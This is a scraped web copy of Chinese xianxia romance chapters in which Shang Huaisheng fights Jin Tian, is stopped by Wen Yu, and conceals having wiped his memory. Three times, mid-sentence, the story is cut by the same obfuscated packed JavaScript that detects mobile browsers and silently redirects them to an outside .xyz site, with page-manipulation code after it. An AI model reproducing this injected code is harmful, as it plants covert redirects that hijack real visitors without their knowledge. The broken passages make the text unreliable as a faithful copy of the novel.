“咿呀呀呀呀——我化!我化!” 丰宝脸憋得通红,眼见空中已经化出他佩剑的虚影,忽然抬头看到商怀笙,一时惊喜,真气一动,虚影也消散了。 “怀笙!你回来了!” 丰宝一开口,几人都转过身来,朝她迎来。 他们围着商怀笙转了好几圈,一个个像见了大鸟的小鸟崽子,叽叽喳喳说个不停。 “你这些日子去哪里了?” “听元师叔说你跑出去玩了,怎么都不告诉我一声?” “我还以为你被三山宗的人欺负了!这几日金田嚣张得很,几次三番来挑衅。” “怀笙怀笙……” 等他们都安静下来,商怀笙才缓缓开口,“我确实被人暗算,坠入了和神山结界当中。” “什么?!”众人惊讶不已,“是谁干的?” 商怀笙:“那人在背后下手,我没看清。你们说金田来挑衅,是什么情况?” 开口的是她四师姐门下弟子傅秀轩,傅秀轩愤愤道:“那日我经过和神山,碰到他巡逻,他主动上前,张口便问我你在哪里,还说你这么久没出现,多半是凶多吉少了,言语间尽是幸灾乐祸的意思呸呸呸……他与你积怨已深,难道是他害你?” “我不清楚。” 商怀笙那日匆匆一瞥,未能看清那人的样貌,从身形来判断不像是金田,但三山宗与她矛盾最深的当属金田,她是在两人冲突之后遭人暗害,金田又特来挑衅。 就算不是他干的,他也一定知晓此事。 商怀笙思索一番,说:“他知不知情,问过才知道。” * 已经回来两天了,商怀笙还是没找到断龙,它以前从没离开自己视线这么久过,商怀笙难免有些担心。 宋良白在她和断龙身上施过术,商怀笙能感应到断龙就在四水阁内,只是每次寻过去它就跑了,似乎故意在跟她玩躲猫猫似的。 一时半会儿找不到断龙,但报仇不能耽误,商怀笙打听了金田巡逻的时间,提前和丰宝等人埋伏在和神山。 春日晴朗,清风和畅,和神山草木一日日茂盛起来,在律动的绿叶之中,金田一行人缓缓靠近,为首的金田一身白衣,大摇大摆,单薄的衣服几乎要包不住壮硕的肌肉。 待他靠近,商怀笙一声口哨,黑影如暴雨般从天降落,金田等人瞬间慌了神,聚在一起戒备起来。 “是谁!”金田大喝一声,待天降之物簌簌落下,他们才发现只是一堆落叶。 商怀笙轻笑一声,从树上一跃而下,站到金田面前,“金师侄,空有一身肌肉,连落叶都要害怕?” “商怀笙?!”见是她,金田的表情十分错愕,“你还活着?” 商怀笙敛起笑容,若她之前只是猜测,现在便已经确定了自己遇害只是与金田有关。 “你很惊讶吗?是不是以为我已经死在了你手里?” 商怀笙话音刚落,两方人的目光都投射到金田的身上。 金田脸上一红,变得语无伦次,“你在胡说什么,我何时害过你!你行事张扬,多少人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941435|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要你性命,难道只有我会暗害你吗?” “我还没说什么,你怎么知道有人暗害我?” 金田表现得太心虚,不止商怀笙,连三山宗的人都看出了端倪。 难怪这几日不见商怀笙踪影,原来是被人暗算了,金田也是个胆大的,竟然真的去找她报复。 他们心里清楚商怀笙是个睚眦必报的主儿,平日里小打小闹她都格外较真,这次既没能将她彻底杀死,那必定免不了一场腥风血雨。 三山宗几人察觉情况不对,站在队伍最后的一人悄悄后退,准备去找长辈来稳定局面,步子刚迈出去,一道细长黑影从他耳边极速飞过,带起的疾风如刀片划伤他的脸颊,他一个踉跄,被眼前深入树干的一截小树枝挡住去路。 “去哪儿?”商怀笙没寻到断龙,便随手捡了根树枝握在手中,“在此事有个结果之前,谁都别想走。” 闻言,金田也将自己的弯月长刀紧握在手中,忐忑之际,不往嘲讽商怀笙,“你的武器又离你而去了?呵呵,空有神器又如何,断龙一日不认可你,你便只是个识灵期的废物,连我宗门的洒扫仆人都不如。” 这种话他说过许多遍,商怀笙早已免疫,只是她现在心中有气,金田的话更是激怒了她,商怀笙额角跳动,闭眼皱眉,下一秒,飞身来到金田面前,树枝戳在他眼前。 “我本来并不打算杀你的。” 金田心脏猛跳,那树枝几乎要戳进他的右眼,他不自觉地吞咽,后怕之外,对商怀笙的实力生出几分惊惧。 从前只知商怀笙力气巨大,从没见过她实战,没想到她的速度也如此之快。 怔愣片刻后,金田挥刀抵挡,却被商怀笙捏住刀尖,轻轻扭动手腕。 “听说你这紫月弯刀,是你父亲传给你的,坚硬无比,我倒想试试,它是不是比天明钢还要硬?” 商怀笙只用两指,金田便挣脱不得,她眼眸中带着嘲弄的笑意,刀尖在她手中已经有了微微的变形。 “住手!商怀笙,这是我父亲遗物!” “那送它去和你父亲相聚如何?” 商怀笙出言,金田脸色黑沉如墨,眼见刀尖已经出现折痕,他恼怒至极,松开握着刀柄的双人,赤手空拳迎上商怀笙。 金田的拳头还没挨到商怀笙的衣角,商怀笙一掌落在他肩膀,仿佛千钧之力,金田顿时飞了出去,口吐鲜血。 “师兄!!” 血色一现,场面顿时混乱起来,众人皆唤出武器,上前迎战。 商怀笙来到倒地的金田面前,将树枝对准他的心脏,“是谁暗害我,你若坦白,我便饶你一命。” “呸——!” 金田口中喷出鲜血,溅到商怀笙衣领。 商怀笙咬牙,“这衣服可是我师兄亲手给我缝的,你真是找死——!” 她将树枝高高举起,眼看就要插入金田心脏,远处忽然飞出一道金光,直击商怀笙手腕,剧痛之后,金光化成捆妖索,将她双手捆起。 “哪来的小辈在此喧闹?” 一道空灵深邃的声音响起,仿佛直接穿透心灵,悠远如空谷回响。 幽深树林中,微风轻拂,树叶沙沙作响,一道青色身影从天而降,衣袂随风轻扬,落至商怀笙眼前。 树影斑驳,商怀笙抬头,看到一张谪仙般清俊的面孔,神色孤傲如雪山,神圣不可侵犯,长发随风轻舞,闪烁着淡淡的光辉。 “师叔!!” 三山宗众人发出惊喜的声音,纷纷跑到问玉身后,将地上的金田扶起。 问玉背手而立,仿佛带着一种无形的威压,不带任何的感情的目光从商怀笙脸上扫过,声音低沉而清冽,“你是谁家的弟子,敢在和神山撒野?” 商怀笙怔愣,她知道问玉早晚会出来,没想到来的这么快。 如果不是见过这人在床上失神的情态,商怀笙真的会以为他是个不染尘埃的世外仙人。 8. 第八章 有了问玉的介入,商怀笙带人挑衅并重伤三山宗弟子一事迅速传入宋良白耳中。 问玉还算给他面子,没有直接把人带到三山宗,而是押到四水阁主峰的同睦殿来,也是曾经他们修习心法的地方,现在已经成了四水阁待客的殿宇。 大殿之上,立着一块黑色石柱,“同门和睦”四个烫金大字刻在其上,闪耀生辉,他带着秦湫去领人时,商怀笙正被捆妖索五花大绑,依然硬挺地不肯下跪,直着腰板,柱子一样立在那“同门和睦”一侧。 问玉这小子,故意点他呢! “你你你,你这逆徒,又给我惹麻烦!” 宋良白重重在商怀笙背上拍了一巴掌,实则是解了她身上的捆妖索,只留下手腕上的一缕。 他把商怀笙甩到秦湫身边,抬头看向问玉,客套道:“师弟,你闭关回来了?” 作为师兄,宋良白也是亲眼看着问玉长大的,可惜这小子只认他亲哥,宋良白和年玉闹掰之后,他毫不犹豫地选择了年玉,丝毫不在意曾经的同门情谊。 “师兄。”问玉起身向他行礼,目光朝着他身后扫去,商怀笙板着脸,一副倔强神色。 问玉:“多年不见,师兄又收徒弟了。” 他语气平淡,宋良白却听出他的言外之意:既然收徒,为何不告知他? 虽然三山宗与四水阁已经分家,但常春阁留下的规矩不能丢,师兄弟间收亲传弟子,必得告知彼此,拜师礼也要全员参加。 所以在分家之后,三人再没收过亲传。 宋良白对年玉厌恶至极,竟然肯收徒弟? 问玉现身后,放过了其他人,只留商怀笙一个主谋,将人捆来的过程中,商怀笙一言不发,问她姓名不答,也不肯看他。 是个犟种。 “犟种”商怀笙躲在秦湫身后,看似面无表情,实则慌得掌心满是汗,压根没办法冷静。 她知道早晚会再见问玉,只是没想到会来的这么快,还是在这种情况下见面。 好消息是,对方好像已经忘记了她,看来那忘忧果汁效果显著; 坏消息是,问玉出了名的护犊子,两人“初遇”她便给问玉留下来这样的印象,以后势必会成为对方的眼中钉。 以后若是有了更多的接触,问玉再想起来什么…… 商怀笙咬唇,长出一口气,问玉和宋良白都朝她看过来,她板着张脸,明明是在紧张,看上去好像是十分不服气的模样。 问玉眉心微折,宋良白立即朝秦湫使了个眼色,“秦湫,还不把这逆徒带去花杨林思过!” 秦湫:“师父……” 商怀笙是最讨厌去花杨林的,她最惧虫蛇,偏修炼不好避虫之术,每次去那里都带一身包回来。 只有她犯了大错,宋良白才会罚她去那里。 秦湫自是心疼,还想再为商怀笙求情,却不想素日听到花杨林就服软认错的小师妹坚定地转身,应了声好就往外走。 秦湫求情的话还没说出口,只能跟着她一起离开。 商怀笙迈着坚定有力的步伐消失在门口,宋良白也有几分诧异,回神看向问玉,发现他不知何时已经眉头紧皱。 “师兄,你从前说过,若是不听话,就算他是天纵奇才也绝不收徒,现在为何找了个……” 他抿唇,尽在不言中。 宋良白道:“我说让她受罚她便去了,多听话啊。” 问玉:“她伤我三山宗弟子的时候,可不像是听话的模样。” “那弟子伤势如何了?” “并无大碍,只是需要静养。” 听到对方没事,宋良白的腰板瞬间挺直了,抓住问玉的茶杯,扔到一边,“没事你来我这里闹什么?!肯定是你们宗门的弟子挑衅,我徒弟才会出手的!” 问玉还保持着端茶的手势,愣了半晌,猛地站起来,“这么多年过去了,师兄还是死性不改,难怪教出这种徒弟!” “那我好歹还有几个听话的徒弟,你修炼这么多年了,还是孤家寡人一个,怎么不反思一下你自己?” “是我自己不想收徒。” “是你不想还是不行啊?你闭关这么久,可有进益?” “我……” 问玉哑言,到底是相识几百年的师兄,最知道该如何戳他痛处。 识灵、结器、合灵、悟道、破灵。 问玉从开始修行到结器期,用了短短三个月的时间,结器步入合灵,只用一年,放眼整个修真界无人能出其右。 而问玉进入合灵期至今,已有百年。 年玉与宋良白座下弟子都有人突破悟道,而他,却还在合灵稳气期,迟迟摸不到升益的门槛。 问玉沉默许久,神色黯然,宋良白嘴贱惯了,见他如此伤怀,难免有一丝心虚,正想找补安慰他几句,外面有人通报,说年玉来了。 宋良白想也没想:“不见!” 话音刚落,年玉已经出现在殿中,“师弟见不见我无所谓,我是来带问玉回去的。” 宋良白见他那张故作清高无辜的脸就来气,瞪了眼门外守卫的徒弟,挥挥手让他下去,“你们兄弟二人在我四水阁来去自如,把我这里当什么了?” 问玉恭敬地向年玉行礼,“兄长。” “听闻你闭关归来,为何不先来见我?” “我经过和神山时,偶遇四水阁弟子欺辱我宗门下弟子,便出手相助。” 宋良白:“停停停!什么叫欺辱你门下弟子?如果不是你们的弟子挑衅,我徒弟会出手?!” 问玉道:“我亲眼见到你那位弟子动手,重伤我门弟子。” 宋良白:“那是你们宗门的人废物!” “师兄就是这样管教徒弟的?难怪会教出这种野蛮的人!” “我徒弟什么样轮得到你来指指点点?!你们宗门的弟子不是没事吗?我都已经罚她去面壁思过了,你还想怎么样?!” 两人对骂起来,年玉站在二人中间,伸手拦住问玉,“冷静些,我们不是来吵架的。” 年玉:“既然事情已经解决了,那就没必要再纠结。我们师兄弟许久没见了,问玉,你闭关百年,修炼的如何了?” 提到此事,问玉又是一阵沉默,宋良白正气得吹胡子瞪眼,“你们兄弟俩想叙旧回去叙,别在我这里哔哔赖赖!” “兄长,我……”问玉神色沮丧,双拳紧握,仿佛受了天大的委屈,“我道身破了。” “……” “……” 同睦殿内一片沉寂,静得能听见宋良白倒吸凉气的声音,刚才还剑拔弩张的氛围,被凝滞的空气覆盖。 宋良白:“…………啊?” 年玉:“你这话是什么意思?” 问玉摊开手掌,露一个掌心大小的药瓶来,“前些日子我醒来的时候,身上全是……那种痕迹,但我什么都不记得,房中也没旁人生活过的迹象。” 宋良白还在懵圈中,“什么痕迹?” 问玉低下头,轻扯衣领,宋良白又倒吸一口凉气。 “你你你你,我我我我我,虽然我们曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941436|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经是师兄弟,但你也不用将这种事情告知于我,你你你你你们兄弟俩不能回去说吗……” 宋良白指指点点,在原地转来转去,只觉得头都大了。 年玉眉心紧蹙,“你怎么会什么都不记?” “或许是因为这个药,里面虽然空了,但有忘忧咒的迹象。” 兄弟二人齐齐看向宋良白,后者正尴尬地转来转去,猛然停下来,“不是,你们看我是几个意思?” 年玉:“你宗门中似乎有个弟子很擅长这方面的咒术。” “这个是最低级的咒术,擅长的人多了去了!凭什么怀疑是我的弟子!”宋良白看向问玉,道,“而且以你的修为,我门下有谁能强迫了你去?我看你就是不知与何人做了夫妻,对方不满意你,才给你下了忘情咒离你而去!” 年玉做了半天的和事佬,听他这话,反驳道:“我弟弟玉树临风,有仙人之姿,天下哪个女子会不满意他?” “说不定是那方面不行呢!”宋良白说。 “休得胡言!”年玉说。 两位兄长就这么讨论起他的私事,问玉一时尴尬,打断道:“兄长,师兄,你们冷静些。师兄,我想借你的前尘镜一用,看能不能看到那人的样貌。” 宋良白与年玉对视一眼,年玉开口道:“问玉,前尘镜对你无用。” “……” 问玉目光晃动,情绪变得低落,“那我该怎么办,难道就这么不明不白的没了清白?” 两人又是一阵沉默。 片刻后,宋良白说:“忘忧咒也不是完全无法恢复,如果能触碰到与从前相关的事物,或许能冲破。” * 商怀笙在花杨林待了一天一夜,元妄和秦湫送的驱虫符都用完了,又与这里的虫蛇奋斗一整夜,天亮时带着一胳膊的大包出来,踉踉跄跄地扑到秦湫怀里。 “师姐——”商怀笙干嚎几声,“我再也不要来这里了。” 秦湫给她抹上药,“跟你说了,行事别太张扬,幸好这次有问玉师叔,你若真杀了金田,就不只是被关禁闭那么简单了。” 听到问玉的名字,商怀笙虎躯微震,往她怀里钻了钻,“师姐,我知错了,但金田他肯定知晓我被暗害一事,所以我才恼怒。” 元妄一巴掌拍死她头顶的一只赤红色飞虫,道:“你俩既然都没事,此事便当做翻篇了,问玉与师父已经和解,你也决不能再生事。师父罚你在房门闭门思过一个月,我与秦湫看着你。” 商怀笙暗暗咬牙,她何止是被暗害那么简单,只是其中的来龙去脉无法告知旁人。 而且连元妄都这般告诫她,说明此事影响不小。 商怀笙只得听话,“我知道了,我以后都不乱跑了。” “听话就好。”秦湫揉揉她的脸颊,“一晚上都没睡好吧?先回去歇着。” 元妄也搭上她的肩膀,笑道:“别难过了,告诉你件开心的,你可知道昨日抓你那位问玉师叔为何突然回来?” 商怀笙心中一紧,“为何?” 秦湫阻拦他,“这种话别跟怀笙讲。” 元妄笑嘻嘻地说:“听三山宗的人说,问玉这次说是闭关,其实是偷偷和人成亲,做了夫妻。” 商怀笙:“咳——什么?!” “听说他不仅破了道身,修行毁于一旦,还被骗财骗色,那人将他的法器洗劫一空,还对他下了咒……” 元妄越说越离谱,商怀笙听得头昏脑涨:不是,她拿他什么了?她怎么突然就变成骗财骗色的渣女了?! 9. 第九章 与问玉一同回来的,还有他身上的绯色新闻。 那日三人在同睦殿上的话,不知怎么传了出去,添油加醋许多,瞬间就传遍了三山宗四水阁。 有人惋惜,有人震撼,也有爱慕者伤心流涕,更有四水阁一些被他教训过的人大肆嘲讽,一时间成为宗门热闻。 年玉出门一遭,便听说了许多不同的版本,也不难猜测谣言是从哪里传出去的。宋良白御下不严,问玉从前对待四水阁弟子严苛,谣言一旦传出去,便如泼出去的水,再难收回。 好在问玉并未出门,站在窗前研究他手里的小药瓶,窗外阳光洒进来,在他脸上投下斑驳光影,问玉神色黯淡,仿佛失了魂魄,年玉不由得叹了口气。 “你刚回来,好好休息一段时间,最近还是不要出门了。” “我都听说了,这些孩子不上心修炼,编故事的能力倒是一绝。”问玉将药瓶收进袖中,对流言一事似乎并不在意。 年玉:“我已经下令让宗中弟子禁提此事,但四水阁那边……” “无妨。”问玉向来不在意旁人的看法,礼义廉耻对他只是无谓的附庸,“由得他们去说,况且此事也并非我过错。” 年玉:“你不是忘记了,怎么知道不是你的错?” 问玉冷哼一声,“我若有罪,怎会由得那妖女随意抹去我的记忆?兄长,你知道的,我并非会耽于情爱之人。” 年玉轻笑,“你现在就管她叫妖女了?万一你真的与她情投意合,又该如何?” “那她弃我于不顾,是她薄情寡义。” 他语气听起来平淡,但双拳紧握,年玉便知道他并没有表现出来的那么冷静,平白失了清白,又没了记忆,心中难免有气。 问玉深吸一口气,又道:“能进囚龙谷的人,无外乎三山宗四水阁弟子,她对我下咒抹除我记忆,以为这样便可高枕无忧,我偏要让她知道,我还记得。若有一日我冲破咒术,想起那人的样貌,绝不会轻易放过她!” 问玉又气又怨,这几日梦中偶尔会出现一些模糊的身影,他觉得定是对方纠缠自己,可残缺的记忆中,似乎自己占据着主导的位置,抱着她哄着她,极尽温柔。 这绝对不是他! 问玉急切地想要找到真相,可越是着急越受到咒术束缚,那段过往像是笼罩在浓雾中无法看清。 身上的痕迹渐渐消去,唯一有点关联的,只有那个小药瓶了。 “如果真的无法恢复记忆,我便去凌枫院借聚魂灯来,这药瓶是她留下的,上面或许还残留她的气息。” 年玉愕然,“凌枫院那些人不会轻易借给你的,到时候肯定要你道出原委,若真给他们知晓,整个修仙界便无人不晓了。既然已经过去了,对方也并不愿意与你续缘,何不就此放下?” “我被此事困扰数日,又怎能让她逍遥法外?” 年玉耐心地宽慰他,但深知问玉的脾气倔强,见他越说越激动,便换了个话题,“不提这些事了,那日你在和神山抓的孩子,你可还有印象?” 问玉想起那个蛮横的犟种,道:“自然,印象深刻,我从未见过四水阁有如此鲁莽之人,她是宋良白的徒弟?为何没请我们去行拜师礼?” “那孩子叫商怀笙,她的情况比较复杂,前尘镜照不出她的过往。” 问玉微讶,“莫非她和我一样?” 年玉摇头:“她和你不一样,她在被带到四水阁之前,在军营中长大,身上沾了太多的人命,怨气深重,才会如此。” “难怪,看着便是狠戾之人。”问玉因和神山一事已对商怀笙生出不满,听闻她从前过往,更多了几分芥蒂,“宋良白怎么会收这种嗜血之人?” 年玉注视着他的眼睛,过了好一会儿,才道:“因为她唤醒了断龙。” 问玉微微一愣,思索一番,不确定地问道,“断龙?哪个断龙?” “封印数年,斩尽天下神魔的断龙。” * 商怀笙被她师父关了紧闭,甚至在她房外设下禁制,让她不得出入,旁人来给她送饭,也只能送到廊下。 宋良白这次是真的狠心罚她,从前她犯错还准许秦湫元妄见她,现在连二人都不能入内。 商怀笙只得每日蹲在檐下,望着门外那颗长着青苔的岩石发呆,旁人来看望她,也只能在院子里坐着和她说说话。 作为同在和神山的当事人,丰宝他们也被罚抄门规百遍,但没被限制自由,他们无事时便带着书来商怀笙院中抄写,也是同她解闷。 只不过以前他们聊的是三山宗四水阁以及其他宗门各种各样的八卦,现在聊得却全都是同一个人:问玉。 商怀笙根本不想听!! 但架不住几人聊得欢,问玉作为年玉的弟弟,三山宗唯一未收徒的师叔祖辈人物,容貌,修为,才情都是修仙界一等一的,绝对的话题性人物。 与商怀笙交好的几人中,属丰宝的年纪最大,作为唯一与问玉有过接触的人,丰宝提起他时,怨念深重。 “当年的九天大会只给咱们两宗门送了一张邀请函,原本说好用实力说话,但他偏袒三山宗的人不说,还把我师父狠狠地揍了一顿,这个心胸狭窄的小人!” 沙巧拜入师门时,问玉已经闭关了,她与丰宝同在宋良白二弟子程公乐门下,虽然没亲历过,但也知晓一二,“我怎么听说,是师父先用阴招伤人,师叔祖才动手教训他的?” 丰宝:“你居然叫他师叔祖!!师父最恨他了,要是听到这话,肯定要气晕过去!” 沙巧露出痴笑,“虽然问玉护短,但他帅啊,从前听闻连潮海阁圣女都对他念念不忘,和神山一见,果然名不虚传。” 傅秀轩一直低头抄书,听到她夸问玉也抬起头来,道:“说起来那位圣女,三十年前还来寻过师叔祖,可惜当时师叔祖在闭关。” “我入宗门多年,从没听说过师叔祖有什么风流韵事,他修炼的剑术需得断情绝爱,没想到在闭关的时候坠入爱河,数百年修为算是毁了。” 商怀笙一直静静地坐着,听到最后一句,不由得一惊,“这年头还有人修无情道?” “并非是无情道。”傅秀轩解释道,“我也并不清楚,似乎与师叔祖的体质有关,他虽然还在合灵期,但单挑悟道升益期的修士也不在话下,也得益于他的修行方式。” 难怪当时他说商怀笙破了他的道身,非要讨个说法。 商怀笙心有戚戚,她也不是有心破坏问玉修行的,是他们三山宗的人对她下黑手……也不能全怪她吧。 说着,傅秀轩顿了顿,看向商怀笙,“这点倒是和你有些相似,虽然你一直在识灵期,但和合灵初阶的人打起来也毫不逊色。” 商怀笙可不想和问玉扯上关系,连连摆手,“我可不想和他相似!” 沙巧笑道:“怀笙入门的时间短,以后有的是机会见识这位师叔祖的可怕。” 商怀笙轻哼一声,闭口不言。 丰宝道:“所以他这次被骗,算他活该!” 沙巧道:“你别这么说,他也是痴情之人。” 傅秀轩说:“我倒是好奇,是什么样的女子,能将师叔祖迷得这般神魂颠倒。” 商怀笙:“……” 她被关了半个月,外面的谣言已经传成这样了吗? 问玉怎么不知道管管? 她有点担心问玉会想起来蛛丝马迹,想问问元妄这忘忧果有多久的效用,又怕元妄追问,只能自己一个人忐忑地去翻书。 秦湫撞见过几次,还夸赞她禁足几日变得好学了,商怀笙只是笑笑,不说话。 终于过了一个月,商怀笙呼吸到自由的空气,马不停蹄地去找擅长培育灵草的四师姐吕悠,也是傅秀轩的师父。 吕悠在制药方面颇有点天赋,修仙界最负盛名的天泉医谷几次想挖她过去,吕悠都不肯离开。 宋良白将四水阁灵气最丰沛的山头送给她种植药草,还把山峰名字改成了天泉山。 商怀笙一靠近天泉山便有幽幽药香扑鼻而来,她如朝拜圣地般整理衣袖,正打算去拜见吕悠,却听见一熟悉的声音。 “这个忘忧果,真的无药可解?” 后面跟着吕悠无奈的声音,“师叔,你已经来过我这里许多次了,我真的没办法帮你,你这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941437|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅是忘忧果的原因,还多了几层忘忧咒迷心咒,我只会种草制药,在咒术方面真的不精通。这几种东西掺杂在一起,神仙来了也难解。” 商怀笙躲在树后听着,暗自窃喜,没想到师兄给的东西这么厉害,不愧是情场老手,这下她也不必担心问玉会想起来了! 得到自己想要的答案,商怀笙便打算离开,避免与问玉接触,却被吕悠发现了她的身影,“怀笙?” 商怀笙身形一顿,吕悠像是见到救命稻草,大声地呼喊她,“怀笙!你怎么有空到我这里来了,快来!” 她实在受够了问玉的追问,又不敢明目张胆地赶他离开,只能把商怀笙拉过来转移话题。 见商怀笙犹犹豫豫地过来,问玉认出她是和神山那人,眉头微微蹙起。 “你的禁足结束了?”他问。 商怀笙站到吕悠身旁,对他这种语气十分不爽,既然他恢复记忆的可能性渺茫,商怀笙也硬气些许,回复道:“师叔觉得我不该出来?” 问玉听出她语气中的锋利,反怼道:“你还没拜师,不必称我为师叔。” “那我们宗门的私事,就更不必道长过问了。”商怀笙说。 吕悠扯扯她的衣角,“怀笙,你不能这么和师叔说话。” 商怀笙道:“不是他自己说的话,不必称他为师叔。师姐,天泉山重地,怎么能让一个外人随便进入?” 吕悠忙将她拉到身后,对问玉露出歉意的笑容,“怀笙年纪小,心直口快,师叔莫怪。” 三山宗四水阁那么多弟子,问玉还是头一次见商怀笙这种人,讥讽道:“心直口快和没有礼教还是不一样的,宋良白一心追名逐利,对门下弟子的管教越发松懈了。” 商怀笙道:“肆意评判他人弟子,道长看起来也没有什么礼教。” 吕悠按住她胳膊,小声道:“怀笙,你少说两句吧。” 商怀笙不情不愿地闭上嘴,狠狠地瞪了问玉一眼:幸亏她用了忘忧果,要真对这人负责,还不知道他会怎么折磨自己。 问玉不怒反笑,看向被吕悠紧紧护在身后的商怀笙,道:“我作为长辈,自然有评价晚辈的权力,宋良白若是不知道怎么教导弟子,我也乐意代劳。” “师叔!我还有药草要收,您请回吧!忘忧果的事情我会仔细翻找医书,看还有没有旁的办法,怀笙年幼,还请您见谅。” 吕悠朝他深鞠一躬,问玉收回已经准备施术的手,他还有事要让吕悠帮忙,几分面子还是要给她的。 “既然如此,那就麻烦你了。”问玉微微侧身,看着商怀笙道,“你虽在宗门修行,但总有一日会出门历练,如果一直这种行事作风,肯定会树敌无数,没有实力傍身,你会死得很惨。” 商怀笙:“这就不用你——” “恭送师叔!”吕悠又一次按住商怀笙,急切地送走了问玉。 待他离开,吕悠长舒一口气,擦去额上的汗珠,狠狠地在商怀笙肩膀上锤了几拳,“你知道他是谁吗!你怎么能跟他逞口舌之快!” 商怀笙站在原地任她打完,才道:“是他挑衅,骂我无礼,还诅咒我。” “你真是……都是秦湫和元妄平日惯着你!那可是问玉师叔,咱们师门上上下下,有几个没挨过他的打?他要是想教训你,可不管你是什么长辈晚辈!” “所以我才说他也不是什么有礼教的人。” 他在囚龙谷的时候还把她大半夜的扔出门外呢。 商怀笙面对问玉总是心绪复杂,一边庆幸他想不起来,一边对耽误他修行一事感到内疚,但见他那样张扬,心中又十分不爽。 所以她才不想见到他。 吕悠见她神色黯然,也没再训她,问道:“你怎么突然过来,想吃糕点了?” “嗯!”听到糕点,商怀笙瞬间将这些都抛之脑后,“师姐,我想吃你做的芝麻糕,热乎乎的那种,师兄每次送过来都是凉的。” “我这里还剩些食材,你坐会儿,我去蒸上。” “师姐最好了,我要当你徒弟!” “哈哈哈,我可教不了你,去玩会儿吧,别揪我的药草。” 10. 第十章 问玉回到朗日山,步履匆匆,火花带闪电,一看便带着火气。 案边的年玉放下手中书卷,抬头问道:“你又去吕悠那里了?你也别太为难她,心急易生心魔,到时候更难破解。” 问玉倒了杯茶,一饮而尽,“我不是为此生气,是见到了宋良白那个小徒弟。” “商怀笙?” “是她。”问玉还没记住这个名字,每次提起,问玉总想起她那看似乖巧柔弱的脸上倔强的神态,“三山宗四水阁诸多弟子,我从未见过如此无礼之人。” 年玉轻笑,“你习惯就好了,那孩子吃软不吃硬,你对她疾言厉色,她也会更强硬。你若温柔相待,她也会乖巧听话。” “师兄好像很了解她?”问玉道。 年玉拿书的手一顿,道:“她刚被带回来的时候,我想将她收入三山宗门下,只是没抢过宋良白。那孩子刚来的时候怕生,躲在宋良白身后,见了谁都是一副要咬死对方的表情。她力气又极大,伤了许多人。” 问玉:“小小年纪就这么暴躁,难怪现在这般无法无天。断龙本身就戾气深重,落在她手中,难保不会生出什么冤孽来。” 年玉摇头:“十几年来,一直无恙,是断龙选择了她。” “定是她身上杀孽太重,断龙想借她之手逃离封印,如果她心志不坚定,将来说不定会被断龙控制反噬。” 问玉仍觉得将断龙这种神器交给一个十几岁的孩子太过草率,不过他们也无法干涉神器择主,不然这么多年断龙也不会乖乖被封印。 年玉道:“她比你想象中要强大的多,断龙……不太能控制她。” 问玉:“怎么说?” 年玉刚张开嘴,外面响起急匆匆的脚步声,闻惠的声音打断了二人的对话。 “师父,弟子有要事求见!”她匆匆而来,额头满是汗珠,进门便跪到在年玉面前,“师父,弟子的徒弟金田,半个时辰前突然伤势加重,吐血不止,危在旦夕,还请师父救命!” * 金田被商怀笙打伤后,一直窝在住处养伤,其实他的伤早就好了,只是觉得拉不开面子,一直不愿出来。 从前与商怀笙交手,几乎是屡战屡败,但也能和她打几个来回,从没有像现在这样,半点反抗的机会都没有,可见以前商怀笙都是故意让着他逗他玩的。 这次他在商怀笙手下如丧家之犬,还被闭关归来的问玉师叔祖瞧见了,金田更觉得无地自容,打着养伤的幌子躲在家中,谁也不肯见。 夜里做梦都是在和神山的种种,那几乎要刺进他胸膛的树枝,商怀笙可怖的目光,成为笼罩黑夜的梦魇。 如果商怀笙死在囚龙谷就好了!金田无数次恶毒地想。 他亲眼看到商怀笙跌落山崖,明知底下是危险丛生的宗门禁地,四下无人,他便装作无事发生,悄悄离开。 商怀笙狂妄自大,仗着自己的力气大到处挑衅,如果真死了,那是她的报应! 可她没死,完好无损地回来,金田失望透顶,又心生忧虑。 虽不是他把人推下去的,但他也目睹了全程,选择帮助那人隐瞒罪行,整个四水阁都知道他与商怀笙积怨最深,商怀笙肯定会来找他质问。 金田一不小心暴露自己知情的事实,被商怀笙一顿教训,又是羞恼又是愤恨,如果再给他一次机会,他肯定会在商怀笙坠崖前补上一刀,确保她死透。 商怀笙睚眦必报,这次没能杀了他,以后肯定还会再找机会追问此事。 唉。若是那人能将商怀笙杀了就好了。 金田心想着,外面响起敲门声,看见来人,金田微愣,似乎不敢相信对方会出现在这里,露出惊喜的神色:“您来了……” 他的笑容还没来得及展开,一股黑红交织的剑气如同利刃,贯穿他的腹部,金田瞪大双眼,在剧痛中栽倒下去。 * 